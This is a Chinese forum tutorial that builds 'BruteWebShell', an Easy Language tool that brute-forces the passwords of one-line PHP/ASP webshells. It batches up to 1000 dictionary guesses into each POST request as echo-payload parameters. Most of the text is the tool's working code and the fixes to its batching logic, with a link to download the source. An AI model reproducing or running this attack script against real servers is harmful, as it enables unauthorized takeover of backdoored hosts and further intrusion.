1.课前要掌握的易语言姿势:
数组:循环 and 判断(故作神秘不放图)
2.思路整理
看了冰河表哥的文章:http://bbs.ichunqiu.com/thread-16952-1-1.html
思路甚叼,膜拜一发。
一句话概括:多参提交爆破
3.外壳构造
编辑框 * 3:
字典、地址、并发数
按钮 * 2:
导入字典、爆破
单选框 * 2:
PHP、ASP
透明标签 * 2:
字典数量、0
看起来很牛逼,其实直接使用组件拖拉即可(类似于VB):
4.代码构造
代码构造这边不讲细节只讲核心代码部分。(变量创建什么的自行解决)
按照界面操作的流程来:
1.导入字典
2.填写URL
3.填写并发数
4.选择脚本类型
5.爆破
对流程分布进行功能实现:
1.导入字典
字典的特征:一行一个
根据特征写代码:
通用对话框1.打开 ()
编辑框_字典.内容 = 到文本 (读入文件 (通用对话框1.文件名))
透明标签2.标题 = 到文本 (取数组成员数 (字典))
这样就使得我们的字典可以一个一个被我们使用了。
中间的流程无关紧要,重要的是最后一步爆破的实现:
这边新建一个子程序,以多参提交的思路写好了初步代码:
.版本 2
.计次循环首 (取数组成员数 (字典), count_1)
text = text + 字典 [count_1] + “=echo 'Password is ” + 字典 [count_1] + “';&”
.如果真 (count_2 = 到整数 (编辑框1.内容) 或 count_1 = 取数组成员数 (字典))
text = text + “++++++”
text = 文本_替换 (text, , , , “&++++++”, “”)
源码 = 到文本 (网页_访问 (编辑框_URL.内容, 1, text))
.如果真 (源码 ≠ “”)
_启动窗口.标题 = “BruteWebShell 一句话木马快速爆破 - 爆破成功!”
按钮_爆破.标题 = “爆破”
信息框 (源码, 0, , )
编辑框_URL.内容 = 编辑框_URL.内容 + 源码
跳出循环 ()
.如果真结束
count_2 = 0
text = “”
.如果真结束
count_2 = count_2 + 1
.计次循环尾 ()
我的代码思路:
先写好POST提交的代码:
网页_访问 (编辑框_URL.内容, 1, text)
因为多参提交是有限制的,Apache 默认可以接受1000个参数并发提交,IIS 默认可以接受5883个参数并发提交
所以先构造一个子程序work_php,常识把1000个参数加入到一个变量中,PHP的参数格式a=echo 'password is a';
就有了代码:
计次循环首 (取数组成员数 (字典), count_1)
text = text + 字典 [count_1] + “=echo 'Password is ” + 字典 [count_1] + “';”
网页_访问 (编辑框_URL.内容, 1, text)
计次循环尾 ()
但是多个参数提交的时候每两个参数之间都需要连接参数的符号&,就在最后又加上去了:
计次循环首 (取数组成员数 (字典), count_1)
text = text + 字典 [count_1] + “=echo 'Password is ” + 字典 [count_1] + “';&”
网页_访问 (编辑框_URL.内容, 1, text)
计次循环尾 ()
问题:如果我的字典数量高于1000个该怎么办?
这个问题问的好~
怎么办呢?当然是使用判断来办~
最初的代码是:
计次循环首 (取数组成员数 (字典), count_1)
text = text + 字典 [count_1] + “=echo 'Password is ” + 字典 [count_1] + “';&”
如果真(count_2=1000)
网页_访问 (编辑框_URL.内容, 1, text)
count_2=count_2+1
计次循环尾 ()
如此看来似乎完成了,但是让你的如果真的代码执行完毕,text变量就会按照原来的继续增加~所以这时候修妖在如果真当中的代码加text = ""
并且还有个缺点就是count_2变量也无法正常的进行每1000个POST请求一次,所以加上 count_2=0 让变量初始化一下:
计次循环首 (取数组成员数 (字典), count_1)
text = text + 字典 [count_1] + “=echo 'Password is ” + 字典 [count_1] + “';&”
如果真(count_2=1000)
网页_访问 (编辑框_URL.内容, 1, text)
text = ""
count_2=0
count_2=count_2+1
计次循环尾 ()
这边还有一个小问题,就是1000个字典结合起来最后会多一个&符号,所以我们可以替换&为空:
text = 文本_替换 (text, , , , “&”, “”)
这样真的可以?text变量中可是有1000个&号哦,那么就尝试让最后一个&号变得特殊一点:
text = text + “++++++”
text = 文本_替换 (text, , , , “&++++++”, “”)
在后面加几个+号,然后替换就OK了~
最后在跟界面操作对接完善一下:
计次循环首 (取数组成员数 (字典), count_1)
text = text + 字典 [count_1] + “=echo 'Password is ” + 字典 [count_1] + “';&”
如果真(count_2=到文本(编辑框1.内容))
text = text + “++++++”
text = 文本_替换 (text, , , , “&++++++”, “”)
源码=网页_访问 (编辑框_URL.内容, 1, text)
如果真(源码 ≠ “”)
_启动窗口.标题 = “BruteWebShell 一句话木马快速爆破 - 爆破成功!”
按钮_爆破.标题 = “爆破”
信息框 (源码, 0, , )
编辑框_URL.内容 = 编辑框_URL.内容 + 源码
text = ""
count_2=0
count_2=count_2+1
计次循环尾 ()
一切似乎大功告成,做了一份1128个字典的文件进行测试:
把正确的一句话密码key放在最后进行测试,却发现爆破不出来~
因为在这里我只处理了1000个但是剩下的128个却无法处理,所以在这我们可以使用逻辑判断 或 :
如果真(count_2=到文本(编辑框1.内容) 或 count_1 = 取数组成员数 (字典))
......
含义:除了1000个以外,剩余的也可以进行POST请求~ 这边实在不理解 可以去看下变量count_1是干嘛的~
OK,测试一下:
这就成功了~
5.我是结尾
看到最后,你明白了吗?换位思考,应该理解不了为什么多参请求的格式要是a=echo "Password is a";吧?
很简单,因为你的字典是a所以要用php的输出函数echo输出字典a,这样就可以判断密码是多少啦~
源码下载: http://bbs.ichunqiu.com/thread-17406-1-1.html
更多安全技术、精品好文、白帽黑客大佬尽在:http://bbs.ichunqiu.com/portal.php